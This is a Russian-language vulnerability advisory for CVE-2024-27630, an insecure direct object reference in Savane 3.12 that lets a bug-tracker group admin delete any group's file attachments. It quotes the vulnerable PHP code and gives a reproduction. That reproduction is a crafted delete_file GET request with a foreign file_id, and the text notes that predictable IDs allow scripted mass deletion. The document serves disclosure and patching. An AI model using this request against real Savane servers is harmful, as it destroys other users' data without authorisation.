
Ссылка на CVE-2024–27630
В Savane v3.12 и более ранних версиях отсутствие проверки параметра file_id при удалении файла из /bugs/index.php приводит к уязвимости небезопасной прямой ссылки на объект (IDOR), которая позволяет аутентифицированному администратору группы с трекером ошибок произвольно удалять файловые вложения любого трекера ошибок, что приводит к недоступности этих файлов. Поскольку идентификаторы файлов увеличиваются с каждой новой загрузкой, можно создать скрипт, который итеративно удаляет все файловые вложения на сервере по file_id.
Классификация CWE: CWE-639: Authorization Bypass Through User-Controlled Key
Сообщил(а): Ally Petitt
Затронутый продукт: Savane
Затронутые версии: 3.12 и более ранние
Функция, отвечающая за удаление файловых вложений в трекерах ошибок, — trackers_data_delete_file(), она определена в приведённом ниже блоке кода.
frontend/php/include/trackers/data.php:2417
function trackers_data_delete_file ($group_id, $item_id, $file_id)
{
global $sys_trackers_attachments_dir;
# Make sure the attachment belongs to the group.
$res = db_execute ("
SELECT bug_id from " . ARTIFACT . " WHERE bug_id = ? AND group_id = ?",
[$item_id, $group_id]
);
if (db_numrows ($res) <= 0)
{
# TRANSLATORS: the argument is item id (a number).
$msg = sprintf (
_("Item #%s doesn't belong to project"), $item_id
);
fb ($msg, 1);
return;
}
$result = false;
# Delete the attachment.
if (unlink ("$sys_trackers_attachments_dir/$file_id"))
$result = db_execute ("
DELETE FROM trackers_file WHERE item_id = ? AND file_id = ?",
[$item_id, $file_id]
);
Функция начинается с SQL-запроса для проверки того, что группа, в которой находится идентификатор ошибки, указанный в item_id, является группой, в которую входит атакующий, известной как $group_id. Функция не проверяет, входит ли file_id в ту же группу, а это значит, что до тех пор, пока item_id соответствует действительной ошибке в группе атакующего, атакующий может изменить file_id, чтобы указать на любой файл в каталоге загрузки /var/lib/savane/trackers_attachments.
Кроме того, эта функция доступна только администраторам трекера ошибок.
frontend/php/bugs/index.php:586
case 'delete_file':
# Remove an attached file.
if ($is_trackeradmin)
{
trackers_data_delete_file($group_id, $item_id, $item_file_id);
# Unset previous settings and return to the item.
$depends_search = $reassign_change_project_search = $add_cc
= $input_file = $changed = $vfl = $details = null;
include '../include/trackers_run/mod.php';
}
else
exit_permission_denied ();
break;
Эти шаги демонстрируют удаление одного несанкционированного файла, однако обратите внимание, что атакующий может автоматизировать удаление всех файлов по их идентификаторам, поскольку они предсказуемы.
40231 был загружен жертвой:root@60ae93fe131f:/var/lib/savane/trackers_attachments# ls
40226 40227 40230 40231
Перейдите на главную страницу группы, администратором которой является атакующий. Затем откройте Bugs > Browse и обратите внимание на действительный Item ID в крайнем левом столбце таблицы. Этот ID будет использован на следующем шаге.
Выполните от имени атакующего GET-запрос к пути /bugs/index.php?func=delete_file&item_id=<ATTACKER_ITEM_ID>&item_file_id=<FILE_ID_TO_DELETE>.
В моём случае это выглядит как http://172.17.0.2:7890/bugs/index.php?func=delete_file&item_id=50697&item_file_id=40231.
Убедитесь, что файл жертвы (из группы, на которую у атакующего нет прав) был удалён. Например:
root@60ae93fe131f:/var/lib/savane/trackers_attachments# ls
40226 40227 40230
Обновитесь до Savane версии 3.13 или выше. Патч можно найти здесь.